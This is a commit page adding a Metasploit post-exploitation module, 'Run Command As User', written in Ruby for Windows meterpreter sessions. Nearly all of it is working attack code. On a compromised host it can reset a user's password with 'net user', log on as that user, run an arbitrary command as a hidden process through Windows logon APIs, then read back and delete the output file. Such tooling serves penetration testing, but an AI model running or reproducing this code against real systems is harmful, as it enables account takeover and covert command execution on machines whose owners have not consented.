run_as Post Module by Keith Faber
git-svn-id: file:///home/svn/framework3/trunk@13491 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
f8d50b7705
commit
3982cf51b4
|
@ -0,0 +1,176 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Run Command As User",
|
||||
'Description' => %q{
|
||||
This module will login with the specified username/password and execute the
|
||||
supplied command as a hidden process. Output is not returned by default, by setting
|
||||
CMDOUT to false output will be redirected to a temp file and read back in to
|
||||
display.By setting SETPASS to true, it will reset the users password and then
|
||||
execute the command.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => ['windows'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => ['Kx499']
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USER', [true, 'Username to reset/login with' ]),
|
||||
OptString.new('PASS', [true, 'Password to use' ]),
|
||||
OptString.new('CMD', [true, 'Command to execute' ]),
|
||||
OptBool.new('SETPASS', [false, 'Reset password', false]),
|
||||
OptBool.new('CMDOUT', [false, 'Retrieve command output', false]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Check if sufficient privileges are present for certain actions and run getprivs for system
|
||||
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
|
||||
# need to migrate to a process that is running as
|
||||
# system. If you don't have privs, this exits script.
|
||||
|
||||
def priv_check
|
||||
if is_system?
|
||||
privs = session.sys.config.getprivs
|
||||
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
|
||||
@isadmin = false
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
elsif is_admin?
|
||||
@isadmin = true
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def reset_pass(user,pass)
|
||||
begin
|
||||
tmpout = ""
|
||||
cmd = "cmd.exe /c net user " + user + " " + pass
|
||||
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
tmpout << d
|
||||
break if d == ""
|
||||
end
|
||||
r.channel.close
|
||||
return true if tmpout.include?("successfully")
|
||||
return false
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
# set some instance vars
|
||||
@IsAdmin = false
|
||||
@host_info = session.sys.config.sysinfo
|
||||
|
||||
# Make sure we meet the requirements before running the script, note no need to return
|
||||
# unless error
|
||||
return 0 if session.type != "meterpreter"
|
||||
|
||||
# check/set vars
|
||||
setpass = datastore["SETPASS"]
|
||||
cmdout = datastore["CMDOUT"]
|
||||
user = datastore["USER"] || nil
|
||||
pass = datastore["PASS"] || nil
|
||||
cmd = datastore["CMD"] || nil
|
||||
rg_adv = session.railgun.advapi32
|
||||
|
||||
# reset user pass if setpass is true
|
||||
if datastore["SETPASS"]
|
||||
print_status("Setting user password")
|
||||
if !reset_pass(user,pass)
|
||||
print_error("Error resetting password")
|
||||
return 0
|
||||
end
|
||||
end
|
||||
|
||||
# set profile paths
|
||||
sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%")
|
||||
os = @host_info['OS']
|
||||
profiles_path = sysdrive + "\\Documents and Settings\\"
|
||||
profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
|
||||
path = profiles_path + user + "\\"
|
||||
outpath = path + "out.txt"
|
||||
|
||||
# this is start info struct for a hidden process last two params are std out and in.
|
||||
#for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE
|
||||
startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
|
||||
startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL")
|
||||
|
||||
#set command string based on cmdout vars
|
||||
cmdstr = "cmd.exe /c #{cmd}"
|
||||
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
|
||||
# Check privs and execute the correct commands
|
||||
# if local admin use createprocesswithlogon, if system logonuser and createprocessasuser
|
||||
# execute command and get output with a poor mans pipe
|
||||
|
||||
if priv_check
|
||||
if @isadmin #local admin
|
||||
print_status("Executing CreateProcessWithLogonW...we are Admin")
|
||||
cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr,
|
||||
"CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16)
|
||||
else #system with correct token privs enabled
|
||||
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
|
||||
l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE",
|
||||
"LOGON32_PROVIDER_DEFAULT", 4)
|
||||
cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false,
|
||||
"CREATE_NEW_CONSOLE", nil, nil, startinfo, 16)
|
||||
end
|
||||
else
|
||||
print_error("Insuficient Privileges, either you are not Admin or system or you elevated")
|
||||
print_error("privs to system and do not have sufficent Priveldges. If you elevated to")
|
||||
print_error("system, migrate to a process that was started as system (srvhost.exe)")
|
||||
return 0
|
||||
end
|
||||
|
||||
# Only process file if the process creation was successful, delete when done, give us info
|
||||
# about process
|
||||
if cs["return"]
|
||||
tmpout = ""
|
||||
if cmdout
|
||||
outfile = session.fs.file.new(outpath, "rb")
|
||||
until outfile.eof?
|
||||
tmpout << outfile.read
|
||||
end
|
||||
outfile.close
|
||||
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
|
||||
c.close
|
||||
end
|
||||
|
||||
pi = cs["lpProcessInformation"].unpack("LLLL")
|
||||
print_status("Command Run: #{cmdstr}")
|
||||
print_status("Process Handle: #{pi[0]}")
|
||||
print_status("Thread Handle: #{pi[1]}")
|
||||
print_status("Process Id: #{pi[2]}")
|
||||
print_status("Thread Id: #{pi[3]}")
|
||||
print_line(tmpout)
|
||||
else
|
||||
print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}")
|
||||
return 0
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue